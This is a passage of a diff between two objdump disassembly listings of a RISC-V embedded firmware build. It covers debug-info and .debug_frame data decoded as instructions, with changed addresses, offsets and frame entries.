+    3216:	8a05                	andi	a2,a2,1
+    3218:	dd01                	beqz	a0,3130 <__stack_size+0x2930>
+    321a:	0021                	c.nop	8
+    321c:	0500                	addi	s0,sp,640
+    321e:	273a018b          	0x273a018b
+    3222:	0000                	unimp
+    3224:	9b06                	add	s6,s6,ra
+    3226:	8701                	c.srai64	a4
+    3228:	0060                	addi	s0,sp,12
+    322a:	0600                	addi	s0,sp,768
+    322c:	3d1001e7          	jalr	gp,977(zero) # 0 <__stack_size-0x800>
+    3230:	0000                	unimp
+    3232:	d406                	sw	ra,40(sp)
+    3234:	8a02                	jr	s4
+    3236:	06000073          	0x6000073
+    323a:	0386                	slli	t2,t2,0x1
+    323c:	527a                	lw	tp,188(sp)
+    323e:	0000                	unimp
+    3240:	8b05                	andi	a4,a4,1
+    3242:	00713503          	0x713503
+    3246:	0600                	addi	s0,sp,768
+    3248:	0391                	addi	t2,t2,4
+    324a:	00005273          	csrrwi	tp,ustatus,0
+    324e:	9605                	srai	a2,a2,0x21
+    3250:	00527f03          	0x527f03
+    3254:	0500                	addi	s0,sp,640
+    3256:	9a04039b          	0x9a04039b
+    325a:	0000                	unimp
+    325c:	0400                	addi	s0,sp,512
+    325e:	0000                	unimp
+    3260:	0805                	addi	a6,a6,1
+    3262:	6cbe                	flw	fs9,204(sp)
+    3264:	0000                	unimp
+    3266:	0e05                	addi	t3,t3,1
+    3268:	3bff                	0x3bff
+    326a:	0000                	unimp
+    326c:	0f05                	addi	t5,t5,1
+    326e:	70a2                	flw	ft1,40(sp)
+    3270:	0000                	unimp
+    3272:	0400                	addi	s0,sp,512
+    3274:	0000                	unimp
+    3276:	1905                	addi	s2,s2,-31
+    3278:	81a5                	srli	a1,a1,0x9
+    327a:	0000                	unimp
+    327c:	1a05                	addi	s4,s4,-31
+    327e:	00007abf ea01a205 	0xea01a20500007abf
+    3286:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+    328a:	01f0                	addi	a2,sp,204
+    328c:	00006007          	0x6007
+    3290:	f105                	bnez	a0,31b0 <__stack_size+0x29b0>
+    3292:	6e01                	0x6e01
+    3294:	006e                	c.slli	zero,0x1b
+    3296:	0500                	addi	s0,sp,640
+    3298:	01f5                	addi	gp,gp,29
+    329a:	35fd                	jal	3188 <__stack_size+0x2988>
+    329c:	0000                	unimp
+    329e:	f805                	bnez	s0,31ce <__stack_size+0x29ce>
+    32a0:	9501                	srai	a0,a0,0x20
+    32a2:	002d                	c.nop	11
+    32a4:	0500                	addi	s0,sp,640
+    32a6:	01ff                	0x1ff
+    32a8:	3f42                	fld	ft10,48(sp)
+    32aa:	0000                	unimp
+    32ac:	8705                	srai	a4,a4,0x1
+    32ae:	f202                	fsw	ft0,36(sp)
+    32b0:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
 
 Disassembly of section .debug_frame:
 
@@ -45856,378 +35196,410 @@ Disassembly of section .debug_frame:
    8:	7c010003          	lb	zero,1984(sp)
    c:	0d01                	addi	s10,s10,0
    e:	0002                	c.slli64	zero
-  10:	000c                	0xc
+  10:	0064                	addi	s1,sp,12
   12:	0000                	unimp
   14:	0000                	unimp
   16:	0000                	unimp
-  18:	19ac                	addi	a1,sp,248
+  18:	1a46                	slli	s4,s4,0x31
   1a:	2040                	fld	fs0,128(s0)
-  1c:	0012                	c.slli	zero,0x4
+  1c:	02cc                	addi	a1,sp,324
   1e:	0000                	unimp
-  20:	0064                	addi	s1,sp,12
-  22:	0000                	unimp
-  24:	0000                	unimp
-  26:	0000                	unimp
-  28:	19be                	slli	s3,s3,0x2f
-  2a:	2040                	fld	fs0,128(s0)
-  2c:	02cc                	addi	a1,sp,324
-  2e:	0000                	unimp
-  30:	0e42                	slli	t3,t3,0x10
-  32:	6670                	flw	fa2,76(a2)
-  34:	078a                	slli	a5,a5,0x2
-  36:	0181                	addi	gp,gp,0
-  38:	0285                	addi	t0,t0,1
-  3a:	0386                	slli	t2,t2,0x1
-  3c:	05880487          	0x5880487
-  40:	0689                	addi	a3,a3,2
-  42:	098c088b          	0x98c088b
-  46:	0a8d                	addi	s5,s5,3
-  48:	0b8e                	slli	s7,s7,0x3
-  4a:	0d900c8f          	0xd900c8f
-  4e:	0e91                	addi	t4,t4,4
-  50:	0f92                	slli	t6,t6,0x4
-  52:	109c                	addi	a5,sp,96
-  54:	119d                	addi	gp,gp,-25
-  56:	129e                	slli	t0,t0,0x27
-  58:	139f e402 c80a      	0xc80ae402139f
-  5e:	c142                	sw	a6,128(sp)
-  60:	c542                	sw	a6,136(sp)
-  62:	c642                	sw	a6,12(sp)
-  64:	c742                	sw	a6,140(sp)
-  66:	c942                	sw	a6,144(sp)
-  68:	ca42                	sw	a6,20(sp)
-  6a:	cb42                	sw	a6,148(sp)
-  6c:	cc42                	sw	a6,24(sp)
-  6e:	cd42                	sw	a6,152(sp)
-  70:	ce42                	sw	a6,28(sp)
-  72:	cf42                	sw	a6,156(sp)
-  74:	d042                	sw	a6,32(sp)
-  76:	d142                	sw	a6,160(sp)
-  78:	d242                	sw	a6,36(sp)
-  7a:	dc42                	sw	a6,56(sp)
-  7c:	dd42                	sw	a6,184(sp)
-  7e:	de42                	sw	a6,60(sp)
-  80:	df42                	sw	a6,188(sp)
-  82:	0e42                	slli	t3,t3,0x10
-  84:	4400                	lw	s0,8(s0)
-  86:	0024000b          	0x24000b
-  8a:	0000                	unimp
-  8c:	0000                	unimp
-  8e:	0000                	unimp
-  90:	1c8a                	slli	s9,s9,0x22
-  92:	2040                	fld	fs0,128(s0)
-  94:	017a                	slli	sp,sp,0x1e
-  96:	0000                	unimp
-  98:	0e42                	slli	t3,t3,0x10
-  9a:	4630                	lw	a2,72(a2)
-  9c:	0181                	addi	gp,gp,0
-  9e:	0288                	addi	a0,sp,320
-  a0:	0389                	addi	t2,t2,2
-  a2:	c1016a03          	0xc1016a03
-  a6:	c842                	sw	a6,16(sp)
-  a8:	c942                	sw	a6,144(sp)
-  aa:	0e42                	slli	t3,t3,0x10
-  ac:	0000                	unimp
-  ae:	0000                	unimp
-  b0:	003c                	addi	a5,sp,8
+  20:	0e42                	slli	t3,t3,0x10
+  22:	6670                	flw	fa2,76(a2)
+  24:	078a                	slli	a5,a5,0x2
+  26:	0181                	addi	gp,gp,0
+  28:	0285                	addi	t0,t0,1
+  2a:	0386                	slli	t2,t2,0x1
+  2c:	05880487          	0x5880487
+  30:	0689                	addi	a3,a3,2
+  32:	098c088b          	0x98c088b
+  36:	0a8d                	addi	s5,s5,3
+  38:	0b8e                	slli	s7,s7,0x3
+  3a:	0d900c8f          	0xd900c8f
+  3e:	0e91                	addi	t4,t4,4
+  40:	0f92                	slli	t6,t6,0x4
+  42:	109c                	addi	a5,sp,96
+  44:	119d                	addi	gp,gp,-25
+  46:	129e                	slli	t0,t0,0x27
+  48:	139f e402 c80a      	0xc80ae402139f
+  4e:	c142                	sw	a6,128(sp)
+  50:	c542                	sw	a6,136(sp)
+  52:	c642                	sw	a6,12(sp)
+  54:	c742                	sw	a6,140(sp)
+  56:	c942                	sw	a6,144(sp)
+  58:	ca42                	sw	a6,20(sp)
+  5a:	cb42                	sw	a6,148(sp)
+  5c:	cc42                	sw	a6,24(sp)
+  5e:	cd42                	sw	a6,152(sp)
+  60:	ce42                	sw	a6,28(sp)
+  62:	cf42                	sw	a6,156(sp)
+  64:	d042                	sw	a6,32(sp)
+  66:	d142                	sw	a6,160(sp)
+  68:	d242                	sw	a6,36(sp)
+  6a:	dc42                	sw	a6,56(sp)
+  6c:	dd42                	sw	a6,184(sp)
+  6e:	de42                	sw	a6,60(sp)
+  70:	df42                	sw	a6,188(sp)
+  72:	0e42                	slli	t3,t3,0x10
+  74:	4400                	lw	s0,8(s0)
+  76:	0024000b          	0x24000b
+  7a:	0000                	unimp
+  7c:	0000                	unimp
+  7e:	0000                	unimp
+  80:	189c                	addi	a5,sp,112
+  82:	2040                	fld	fs0,128(s0)
+  84:	01aa                	slli	gp,gp,0xa
+  86:	0000                	unimp
+  88:	0e42                	slli	t3,t3,0x10
+  8a:	5250                	lw	a2,36(a2)
+  8c:	0181                	addi	gp,gp,0
+  8e:	0288                	addi	a0,sp,320
+  90:	0389                	addi	t2,t2,2
+  92:	0492                	slli	s1,s1,0x4
+  94:	06940593          	addi	a1,s0,105
+  98:	0795                	addi	a5,a5,5
+  9a:	0896                	slli	a7,a7,0x5
+  9c:	00000997          	auipc	s3,0x0
+  a0:	000c                	0xc
+  a2:	0000                	unimp
+  a4:	ffff                	0xffff
+  a6:	ffff                	0xffff
+  a8:	7c010003          	lb	zero,1984(sp)
+  ac:	0d01                	addi	s10,s10,0
+  ae:	0002                	c.slli64	zero
+  b0:	0018                	0x18
   b2:	0000                	unimp
-  b4:	0000                	unimp
+  b4:	00a0                	addi	s0,sp,72
   b6:	0000                	unimp
-  b8:	1e04                	addi	s1,sp,816
+  b8:	1d12                	slli	s10,s10,0x24
   ba:	2040                	fld	fs0,128(s0)
-  bc:	0268                	addi	a0,sp,268
+  bc:	0018                	0x18
   be:	0000                	unimp
   c0:	0e42                	slli	t3,t3,0x10
-  c2:	01b0                	addi	a2,sp,200
-  c4:	9352                	add	t1,t1,s4
-  c6:	8105                	srli	a0,a0,0x1
-  c8:	8801                	andi	s0,s0,0
-  ca:	8902                	jr	s2
-  cc:	94049203          	lh	tp,-1728(s1)
-  d0:	9506                	add	a0,a0,ra
-  d2:	97089607          	0x97089607
-  d6:	0309                	addi	t1,t1,2
-  d8:	0240                	addi	s0,sp,260
-  da:	42c1                	li	t0,16
-  dc:	42c8                	lw	a0,4(a3)
-  de:	42c9                	li	t0,18
-  e0:	42d2                	lw	t0,20(sp)
-  e2:	42d442d3          	0x42d442d3
-  e6:	42d5                	li	t0,21
-  e8:	42d6                	lw	t0,84(sp)
-  ea:	000e42d7          	0xe42d7
+  c2:	4410                	lw	a2,8(s0)
+  c4:	0181                	addi	gp,gp,0
+  c6:	c146                	sw	a7,128(sp)
+  c8:	0e4a                	slli	t3,t3,0x12
+  ca:	0000                	unimp
+  cc:	001c                	0x1c
+  ce:	0000                	unimp
+  d0:	00a0                	addi	s0,sp,72
+  d2:	0000                	unimp
+  d4:	1d2a                	slli	s10,s10,0x2a
+  d6:	2040                	fld	fs0,128(s0)
+  d8:	001a                	c.slli	zero,0x6
+  da:	0000                	unimp
+  dc:	0e42                	slli	t3,t3,0x10
+  de:	4210                	lw	a2,0(a2)
+  e0:	0288                	addi	a0,sp,320
+  e2:	8146                	mv	sp,a7
+  e4:	4801                	li	a6,0
+  e6:	42c8                	lw	a0,4(a3)
+  e8:	42c1                	li	t0,16
+  ea:	000e                	c.slli	zero,0x3
+  ec:	0024                	addi	s1,sp,8
   ee:	0000                	unimp
-  f0:	003c                	addi	a5,sp,8
+  f0:	00a0                	addi	s0,sp,72
   f2:	0000                	unimp
-  f4:	0000                	unimp
-  f6:	0000                	unimp
-  f8:	206c                	fld	fa1,192(s0)
-  fa:	2040                	fld	fs0,128(s0)
-  fc:	015c                	addi	a5,sp,132
-  fe:	0000                	unimp
- 100:	0e42                	slli	t3,t3,0x10
- 102:	5e60                	lw	s0,124(a2)
- 104:	0389                	addi	t2,t2,2
- 106:	0694                	addi	a3,sp,832
- 108:	0795                	addi	a5,a5,5
- 10a:	01810997          	auipc	s3,0x1810
- 10e:	0288                	addi	a0,sp,320
- 110:	0896                	slli	a7,a7,0x5
- 112:	9270                	0x9270
- 114:	9304                	0x9304
- 116:	0205                	addi	tp,tp,1
- 118:	0a9c                	addi	a5,sp,336
- 11a:	42c1                	li	t0,16
- 11c:	42c8                	lw	a0,4(a3)
- 11e:	42c9                	li	t0,18
- 120:	42d2                	lw	t0,20(sp)
- 122:	42d442d3          	0x42d442d3
- 126:	42d5                	li	t0,21
- 128:	42d6                	lw	t0,84(sp)
- 12a:	000e42d7          	0xe42d7
- 12e:	0b42                	slli	s6,s6,0x10
- 130:	0048                	addi	a0,sp,4
- 132:	0000                	unimp
- 134:	0000                	unimp
- 136:	0000                	unimp
- 138:	21c8                	fld	fa0,128(a1)
- 13a:	2040                	fld	fs0,128(s0)
- 13c:	0124                	addi	s1,sp,136
+  f4:	1d44                	addi	s1,sp,692
+  f6:	2040                	fld	fs0,128(s0)
+  f8:	0040                	addi	s0,sp,4
+  fa:	0000                	unimp
+  fc:	0e42                	slli	t3,t3,0x10
+  fe:	4810                	lw	a2,16(s0)
+ 100:	0389                	addi	t2,t2,2
+ 102:	0492                	slli	s1,s1,0x4
+ 104:	0181                	addi	gp,gp,0
+ 106:	0288                	addi	a0,sp,320
+ 108:	c16a                	sw	s10,128(sp)
+ 10a:	c844                	sw	s1,20(s0)
+ 10c:	c942                	sw	a6,144(sp)
+ 10e:	d242                	sw	a6,36(sp)
+ 110:	0e42                	slli	t3,t3,0x10
+ 112:	0000                	unimp
+ 114:	0028                	addi	a0,sp,8
+ 116:	0000                	unimp
+ 118:	00a0                	addi	s0,sp,72
+ 11a:	0000                	unimp
+ 11c:	1d84                	addi	s1,sp,752
+ 11e:	2040                	fld	fs0,128(s0)
+ 120:	008c                	addi	a1,sp,64
+ 122:	0000                	unimp
+ 124:	0e42                	slli	t3,t3,0x10
+ 126:	4210                	lw	a2,0(a2)
+ 128:	0389                	addi	t2,t2,2
+ 12a:	8150                	0x8150
+ 12c:	8801                	andi	s0,s0,0
+ 12e:	9202                	jalr	tp
+ 130:	0204                	addi	s1,sp,256
+ 132:	c16c                	sw	a1,68(a0)
+ 134:	c844                	sw	s1,20(s0)
+ 136:	c942                	sw	a6,144(sp)
+ 138:	d242                	sw	a6,36(sp)
+ 13a:	0e42                	slli	t3,t3,0x10
+ 13c:	0000                	unimp
  13e:	0000                	unimp
- 140:	0e42                	slli	t3,t3,0x10
- 142:	5840                	lw	s0,52(s0)
- 144:	0288                	addi	a0,sp,320
- 146:	0389                	addi	t2,t2,2
- 148:	0492                	slli	s1,s1,0x4
- 14a:	0694                	addi	a3,sp,832
- 14c:	0795                	addi	a5,a5,5
- 14e:	0896                	slli	a7,a7,0x5
- 150:	0a980997          	auipc	s3,0xa980
- 154:	0b99                	addi	s7,s7,6
- 156:	0c9a                	slli	s9,s9,0x6
- 158:	0181                	addi	gp,gp,0
- 15a:	82020593          	addi	a1,tp,-2016 # fffff820 <_heap_end+0x7fff1020>
- 15e:	c10a                	sw	sp,128(sp)
+ 140:	0028                	addi	a0,sp,8
+ 142:	0000                	unimp
+ 144:	00a0                	addi	s0,sp,72
+ 146:	0000                	unimp
+ 148:	1e10                	addi	a2,sp,816
+ 14a:	2040                	fld	fs0,128(s0)
+ 14c:	0054                	addi	a3,sp,4
+ 14e:	0000                	unimp
+ 150:	0e42                	slli	t3,t3,0x10
+ 152:	4210                	lw	a2,0(a2)
+ 154:	0288                	addi	a0,sp,320
+ 156:	8150                	0x8150
+ 158:	8901                	andi	a0,a0,0
+ 15a:	02049203          	lh	tp,32(s1) # fffed020 <_heap_end+0x7ffde820>
+ 15e:	c134                	sw	a3,64(a0)
  160:	c842                	sw	a6,16(sp)
- 162:	c942                	sw	a6,144(sp)
- 164:	d242                	sw	a6,36(sp)
- 166:	d342                	sw	a6,164(sp)
- 168:	d442                	sw	a6,40(sp)
- 16a:	d542                	sw	a6,168(sp)
- 16c:	d642                	sw	a6,44(sp)
- 16e:	d742                	sw	a6,172(sp)
- 170:	d842                	sw	a6,48(sp)
- 172:	d942                	sw	a6,176(sp)
- 174:	da42                	sw	a6,52(sp)
- 176:	0e42                	slli	t3,t3,0x10
- 178:	4200                	lw	s0,0(a2)
- 17a:	0070000b          	0x70000b
+ 162:	d242                	sw	a6,36(sp)
+ 164:	c944                	sw	s1,20(a0)
+ 166:	0e42                	slli	t3,t3,0x10
+ 168:	0000                	unimp
+ 16a:	0000                	unimp
+ 16c:	000c                	0xc
+ 16e:	0000                	unimp
+ 170:	ffff                	0xffff
+ 172:	ffff                	0xffff
+ 174:	7c010003          	lb	zero,1984(sp)
+ 178:	0d01                	addi	s10,s10,0
+ 17a:	0002                	c.slli64	zero
+ 17c:	004c                	addi	a1,sp,4
  17e:	0000                	unimp
- 180:	0000                	unimp
- 182:	0000                	unimp
- 184:	22ec                	fld	fa1,192(a3)
- 186:	2040                	fld	fs0,128(s0)
- 188:	040c                	addi	a1,sp,512
+ 180:	016c                	addi	a1,sp,140
+	...
  18a:	0000                	unimp
  18c:	0e42                	slli	t3,t3,0x10
- 18e:	5630                	lw	a2,104(a2)
- 190:	0181                	addi	gp,gp,0
- 192:	0288                	addi	a0,sp,320
- 194:	0389                	addi	t2,t2,2
- 196:	0492                	slli	s1,s1,0x4
- 198:	72020593          	addi	a1,tp,1824 # 720 <__stack_size-0xe0>
- 19c:	c80a                	sw	sp,16(sp)
- 19e:	c142                	sw	a6,128(sp)
- 1a0:	c942                	sw	a6,144(sp)
- 1a2:	d242                	sw	a6,36(sp)
- 1a4:	d342                	sw	a6,164(sp)
- 1a6:	0e42                	slli	t3,t3,0x10
- 1a8:	4400                	lw	s0,8(s0)
- 1aa:	c80a4a0b          	0xc80a4a0b
- 1ae:	c142                	sw	a6,128(sp)
+ 18e:	5a50                	lw	a2,52(a2)
+ 190:	0288                	addi	a0,sp,320
+ 192:	0389                	addi	t2,t2,2
+ 194:	0492                	slli	s1,s1,0x4
+ 196:	07950593          	addi	a1,a0,121
+ 19a:	0896                	slli	a7,a7,0x5
+ 19c:	0a980997          	auipc	s3,0xa980
+ 1a0:	0b99                	addi	s7,s7,6
+ 1a2:	0c9a                	slli	s9,s9,0x6
+ 1a4:	01810d9b          	0x1810d9b
+ 1a8:	0694                	addi	a3,sp,832
+ 1aa:	0002                	c.slli64	zero
+ 1ac:	c10a                	sw	sp,128(sp)
+ 1ae:	c842                	sw	a6,16(sp)
  1b0:	c942                	sw	a6,144(sp)
  1b2:	d242                	sw	a6,36(sp)
  1b4:	d342                	sw	a6,164(sp)
- 1b6:	0e42                	slli	t3,t3,0x10
- 1b8:	4400                	lw	s0,8(s0)
- 1ba:	0a88020b          	0xa88020b
- 1be:	42c1                	li	t0,16
- 1c0:	42c8                	lw	a0,4(a3)
- 1c2:	42c9                	li	t0,18
- 1c4:	42d2                	lw	t0,20(sp)
- 1c6:	000e42d3          	fadd.s	ft5,ft8,ft0,rmm
- 1ca:	0b42                	slli	s6,s6,0x10
- 1cc:	0a022c03          	lw	s8,160(tp) # a0 <__stack_size-0x760>
- 1d0:	42c8                	lw	a0,4(a3)
- 1d2:	42c1                	li	t0,16
- 1d4:	42c9                	li	t0,18
- 1d6:	42d2                	lw	t0,20(sp)
- 1d8:	000e42d3          	fadd.s	ft5,ft8,ft0,rmm
- 1dc:	0b44                	addi	s1,sp,404
- 1de:	0a68                	addi	a0,sp,284
- 1e0:	42c8                	lw	a0,4(a3)
- 1e2:	42c1                	li	t0,16
- 1e4:	42c9                	li	t0,18
- 1e6:	42d2                	lw	t0,20(sp)
- 1e8:	000e42d3          	fadd.s	ft5,ft8,ft0,rmm
- 1ec:	0b42                	slli	s6,s6,0x10
- 1ee:	0000                	unimp
- 1f0:	003c                	addi	a5,sp,8
- 1f2:	0000                	unimp
- 1f4:	0000                	unimp
- 1f6:	0000                	unimp
- 1f8:	26f8                	fld	fa4,200(a3)
- 1fa:	2040                	fld	fs0,128(s0)
- 1fc:	0424                	addi	s1,sp,520
- 1fe:	0000                	unimp
- 200:	0e42                	slli	t3,t3,0x10
- 202:	5240                	lw	s0,36(a2)
- 204:	0288                	addi	a0,sp,320
- 206:	0389                	addi	t2,t2,2
- 208:	06940593          	addi	a1,s0,105
- 20c:	0795                	addi	a5,a5,5
- 20e:	0896                	slli	a7,a7,0x5
- 210:	0181                	addi	gp,gp,0
- 212:	0492                	slli	s1,s1,0x4
- 214:	72030997          	auipc	s3,0x72030
- 218:	42c10a03          	lb	s4,1068(sp)
- 21c:	42c8                	lw	a0,4(a3)
- 21e:	42c9                	li	t0,18
- 220:	42d2                	lw	t0,20(sp)
- 222:	42d442d3          	0x42d442d3
- 226:	42d5                	li	t0,21
- 228:	42d6                	lw	t0,84(sp)
- 22a:	000e42d7          	0xe42d7
- 22e:	0b42                	slli	s6,s6,0x10
- 230:	0018                	0x18
- 232:	0000                	unimp
- 234:	0000                	unimp
- 236:	0000                	unimp
- 238:	189c                	addi	a5,sp,112
- 23a:	2040                	fld	fs0,128(s0)
- 23c:	0110                	addi	a2,sp,128
+ 1b6:	d442                	sw	a6,40(sp)
+ 1b8:	d542                	sw	a6,168(sp)
+ 1ba:	d642                	sw	a6,44(sp)
+ 1bc:	d742                	sw	a6,172(sp)
+ 1be:	d842                	sw	a6,48(sp)
+ 1c0:	d942                	sw	a6,176(sp)
+ 1c2:	da42                	sw	a6,52(sp)
+ 1c4:	db42                	sw	a6,180(sp)
+ 1c6:	0e42                	slli	t3,t3,0x10
+ 1c8:	4200                	lw	s0,0(a2)
+ 1ca:	0034000b          	0x34000b
+ 1ce:	0000                	unimp
+ 1d0:	016c                	addi	a1,sp,140
+ 1d2:	0000                	unimp
+ 1d4:	1e64                	addi	s1,sp,828
+ 1d6:	2040                	fld	fs0,128(s0)
+ 1d8:	00ac                	addi	a1,sp,72
+ 1da:	0000                	unimp
+ 1dc:	0e42                	slli	t3,t3,0x10
+ 1de:	4220                	lw	s0,64(a2)
+ 1e0:	0492                	slli	s1,s1,0x4
+ 1e2:	8152                	mv	sp,s4
+ 1e4:	8801                	andi	s0,s0,0
+ 1e6:	8902                	jr	s2
+ 1e8:	46059303          	lh	t1,1120(a1) # ffffc460 <_heap_end+0x7ffedc60>
+ 1ec:	0694                	addi	a3,sp,832
+ 1ee:	0795                	addi	a5,a5,5
+ 1f0:	7c02                	flw	fs8,32(sp)
+ 1f2:	42c8                	lw	a0,4(a3)
+ 1f4:	42c1                	li	t0,16
+ 1f6:	42c9                	li	t0,18
+ 1f8:	42d2                	lw	t0,20(sp)
+ 1fa:	44d542d3          	0x44d542d3
+ 1fe:	44d4                	lw	a3,12(s1)
+ 200:	000e                	c.slli	zero,0x3
+ 202:	0000                	unimp
+ 204:	0034                	addi	a3,sp,8
+ 206:	0000                	unimp
+ 208:	016c                	addi	a1,sp,140
+ 20a:	0000                	unimp
+ 20c:	1f10                	addi	a2,sp,944
+ 20e:	2040                	fld	fs0,128(s0)
+ 210:	0136                	slli	sp,sp,0xd
+ 212:	0000                	unimp
+ 214:	0e42                	slli	t3,t3,0x10
+ 216:	4430                	lw	a2,72(s0)
+ 218:	0288                	addi	a0,sp,320
+ 21a:	0694                	addi	a3,sp,832
+ 21c:	8154                	0x8154
+ 21e:	8901                	andi	a0,a0,0
+ 220:	93049203          	lh	tp,-1744(s1)
+ 224:	9505                	srai	a0,a0,0x21
+ 226:	0a6a0207          	0xa6a0207
+ 22a:	44c1                	li	s1,16
+ 22c:	42c8                	lw	a0,4(a3)
+ 22e:	42c9                	li	t0,18
+ 230:	42d2                	lw	t0,20(sp)
+ 232:	42d442d3          	0x42d442d3
+ 236:	42d5                	li	t0,21
+ 238:	000e                	c.slli	zero,0x3
+ 23a:	0b42                	slli	s6,s6,0x10
+ 23c:	0020                	addi	s0,sp,8
  23e:	0000                	unimp
- 240:	0e42                	slli	t3,t3,0x10
- 242:	4610                	lw	a2,8(a2)
- 244:	0181                	addi	gp,gp,0
- 246:	0288                	addi	a0,sp,320
- 248:	0389                	addi	t2,t2,2
+ 240:	016c                	addi	a1,sp,140
+	...
  24a:	0000                	unimp
- 24c:	000c                	0xc
- 24e:	0000                	unimp
- 250:	ffff                	0xffff
- 252:	ffff                	0xffff
- 254:	7c010003          	lb	zero,1984(sp)
- 258:	0d01                	addi	s10,s10,0
- 25a:	0002                	c.slli64	zero
- 25c:	000c                	0xc
- 25e:	0000                	unimp
- 260:	024c                	addi	a1,sp,260
+ 24c:	0e42                	slli	t3,t3,0x10
+ 24e:	4420                	lw	s0,72(s0)
+ 250:	0288                	addi	a0,sp,320
+ 252:	8148                	0x8148
+ 254:	4001                	c.li	zero,0
+ 256:	c10a                	sw	sp,128(sp)
+ 258:	c842                	sw	a6,16(sp)
+ 25a:	0e42                	slli	t3,t3,0x10
+ 25c:	4200                	lw	s0,0(a2)
+ 25e:	0048000b          	0x48000b
  262:	0000                	unimp
- 264:	2b1c                	fld	fa5,16(a4)
- 266:	2040                	fld	fs0,128(s0)
- 268:	0004                	0x4
- 26a:	0000                	unimp
- 26c:	000c                	0xc
+ 264:	016c                	addi	a1,sp,140
+ 266:	0000                	unimp
+ 268:	2046                	fld	ft0,80(sp)
+ 26a:	2040                	fld	fs0,128(s0)
+ 26c:	0252                	slli	tp,tp,0x14
  26e:	0000                	unimp
- 270:	024c                	addi	a1,sp,260
- 272:	0000                	unimp
- 274:	2b20                	fld	fs0,80(a4)
- 276:	2040                	fld	fs0,128(s0)
- 278:	0008                	0x8
- 27a:	0000                	unimp
- 27c:	000c                	0xc
- 27e:	0000                	unimp
- 280:	024c                	addi	a1,sp,260
- 282:	0000                	unimp
- 284:	2b28                	fld	fa0,80(a4)
- 286:	2040                	fld	fs0,128(s0)
- 288:	0022                	c.slli	zero,0x8
- 28a:	0000                	unimp
- 28c:	000c                	0xc
- 28e:	0000                	unimp
- 290:	024c                	addi	a1,sp,260
- 292:	0000                	unimp
- 294:	2b4a                	fld	fs6,144(sp)
- 296:	2040                	fld	fs0,128(s0)
- 298:	0006                	c.slli	zero,0x1
- 29a:	0000                	unimp
- 29c:	000c                	0xc
- 29e:	0000                	unimp
- 2a0:	024c                	addi	a1,sp,260
- 2a2:	0000                	unimp
- 2a4:	2b50                	fld	fa2,144(a4)
- 2a6:	2040                	fld	fs0,128(s0)
- 2a8:	0004                	0x4
- 2aa:	0000                	unimp
- 2ac:	001c                	0x1c
+ 270:	0e42                	slli	t3,t3,0x10
+ 272:	4460                	lw	s0,76(s0)
+ 274:	0389                	addi	t2,t2,2
+ 276:	0694                	addi	a3,sp,832
+ 278:	9260                	0x9260
+ 27a:	9504                	0x9504
+ 27c:	81089607          	0x81089607
+ 280:	8801                	andi	s0,s0,0
+ 282:	9302                	jalr	t1
+ 284:	9705                	srai	a4,a4,0x21
+ 286:	9809                	andi	s0,s0,-30
+ 288:	990a                	add	s2,s2,sp
+ 28a:	00ec030b          	0xec030b
+ 28e:	c10a                	sw	sp,128(sp)
+ 290:	c842                	sw	a6,16(sp)
+ 292:	d242                	sw	a6,36(sp)
+ 294:	d342                	sw	a6,164(sp)
+ 296:	d442                	sw	a6,40(sp)
+ 298:	d542                	sw	a6,168(sp)
+ 29a:	d642                	sw	a6,44(sp)
+ 29c:	d742                	sw	a6,172(sp)
+ 29e:	d842                	sw	a6,48(sp)
+ 2a0:	d942                	sw	a6,176(sp)
+ 2a2:	c944                	sw	s1,20(a0)
+ 2a4:	0e42                	slli	t3,t3,0x10
+ 2a6:	4200                	lw	s0,0(a2)
+ 2a8:	0000000b          	0xb
+ 2ac:	000c                	0xc
  2ae:	0000                	unimp
- 2b0:	024c                	addi	a1,sp,260
- 2b2:	0000                	unimp
- 2b4:	2b54                	fld	fa3,144(a4)
- 2b6:	2040                	fld	fs0,128(s0)
- 2b8:	0030                	addi	a2,sp,8
- 2ba:	0000                	unimp
- 2bc:	0e42                	slli	t3,t3,0x10
- 2be:	4a10                	lw	a2,16(a2)
- 2c0:	0181                	addi	gp,gp,0
- 2c2:	0a5c                	addi	a5,sp,276
- 2c4:	42c1                	li	t0,16
- 2c6:	000e                	c.slli	zero,0x3
- 2c8:	0b42                	slli	s6,s6,0x10
+ 2b0:	ffff                	0xffff
+ 2b2:	ffff                	0xffff
+ 2b4:	7c010003          	lb	zero,1984(sp)
+ 2b8:	0d01                	addi	s10,s10,0
+ 2ba:	0002                	c.slli64	zero
+ 2bc:	000c                	0xc
+ 2be:	0000                	unimp
+ 2c0:	02ac                	addi	a1,sp,328
+ 2c2:	0000                	unimp
+ 2c4:	2298                	fld	fa4,0(a3)
+ 2c6:	2040                	fld	fs0,128(s0)
+ 2c8:	0004                	0x4
  2ca:	0000                	unimp
- 2cc:	0024                	addi	s1,sp,8
+ 2cc:	000c                	0xc
  2ce:	0000                	unimp
- 2d0:	024c                	addi	a1,sp,260
+ 2d0:	02ac                	addi	a1,sp,328
  2d2:	0000                	unimp
- 2d4:	2b84                	fld	fs1,16(a5)
+ 2d4:	229c                	fld	fa5,0(a3)
  2d6:	2040                	fld	fs0,128(s0)
- 2d8:	003c                	addi	a5,sp,8
+ 2d8:	0008                	0x8
  2da:	0000                	unimp
- 2dc:	0e42                	slli	t3,t3,0x10
- 2de:	4610                	lw	a2,8(a2)
- 2e0:	0288                	addi	a0,sp,320
- 2e2:	0389                	addi	t2,t2,2
- 2e4:	0181                	addi	gp,gp,0
- 2e6:	0a5c                	addi	a5,sp,276
- 2e8:	42c1                	li	t0,16
- 2ea:	42c8                	lw	a0,4(a3)
- 2ec:	42c9                	li	t0,18
- 2ee:	000e                	c.slli	zero,0x3
- 2f0:	0b42                	slli	s6,s6,0x10
+ 2dc:	000c                	0xc
+ 2de:	0000                	unimp
+ 2e0:	02ac                	addi	a1,sp,328
+ 2e2:	0000                	unimp
+ 2e4:	22a4                	fld	fs1,64(a3)
+ 2e6:	2040                	fld	fs0,128(s0)
+ 2e8:	0022                	c.slli	zero,0x8
+ 2ea:	0000                	unimp
+ 2ec:	000c                	0xc
+ 2ee:	0000                	unimp
+ 2f0:	02ac                	addi	a1,sp,328
  2f2:	0000                	unimp
- 2f4:	0024                	addi	s1,sp,8
- 2f6:	0000                	unimp
- 2f8:	024c                	addi	a1,sp,260
+ 2f4:	22c6                	fld	ft5,80(sp)
+ 2f6:	2040                	fld	fs0,128(s0)
+ 2f8:	0006                	c.slli	zero,0x1
  2fa:	0000                	unimp
